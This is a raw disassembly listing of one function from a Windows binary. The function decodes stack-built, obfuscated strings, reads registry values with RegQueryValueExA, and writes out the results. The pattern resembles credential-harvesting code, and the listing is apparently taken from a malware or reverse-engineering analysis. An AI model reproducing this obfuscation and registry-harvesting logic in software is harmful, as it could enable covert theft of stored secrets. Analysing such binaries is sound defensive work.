mov dword [ebp - 0x26], 0x60544d47
mov dword [ebp - 0x22], 0x545d4e
mov byte [ebp - 0x1e], 1
call fcn.00462f30
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1f18]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ecd4
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x5a5a4163
mov dword [ebp - 0x40], 0x78544d47
mov dword [ebp - 0x3c], 0x5b42424a
mov dword [ebp - 0x38], 0x1005a5c
call fcn.00462cc0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1b18]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ecd4
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x71095b02
mov dword [ebp - 0x6c], 0x23705f0e
mov word [ebp - 0x68], 0x25
mov byte [ebp - 0x66], 1
call fcn.004630e0
lea eax, [ebp - 0x1b18]
push eax
lea eax, [ebp - 0x1f18]
push eax
lea eax, [ebp - 0x70]
push eax
push edi
call fcn.00402be0
add esp, 0x10
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x34]
inc esi
test eax, eax
je 0x40eb60
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004e6788
add esp, 4
lea ecx, [ebp - 0xa8]
call fcn.00468000
lea ecx, [ebp - 0x15c]
call fcn.00402660
lea ecx, [ebp - 0x130]
call fcn.00402660
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 4
call fcn.00402660
sub esp, 0x18
mov byte [ebp - 0x2e], 1
mov esi, esp
lea eax, [ebp - 0x1c8]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00465e10
mov ecx, esi
call fcn.0040b8e0
mov dl, byte [ebp - 0x2e]
lea ecx, [ebp - 0x174]
add esp, 0x18
call fcn.0040cfd0
add esp, 0x18
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1004a50
call fcn.00463110
lea ecx, [ebp - 0x1c8]
call fcn.004027a0
lea ecx, [ebp - 0x7c]
push ecx
push eax
call fcn.004e2f00
mov esi, eax
add esp, 8
test esi, esi
je 0x40edc0
cmp dword [ebp - 0x160], 0x10
lea ecx, [ebp - 0x174]
push esi
push dword [ebp - 0x164]
cmovae ecx, dword [ebp - 0x174]
push 1
push ecx
call fcn.004ead08
push esi
call fcn.004e6788
add esp, 0x14
lea ecx, [ebp - 0x174]
call fcn.00402660
lea ecx, [ebp - 0x1c8]
call fcn.00402660
lea ecx, [ebx + 8]
call fcn.00402660
lea ecx, [ebx + 0x20]
call fcn.00402660
lea ecx, [ebx + 0x38]
call fcn.00402660
lea ecx, [ebx + 0x50]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret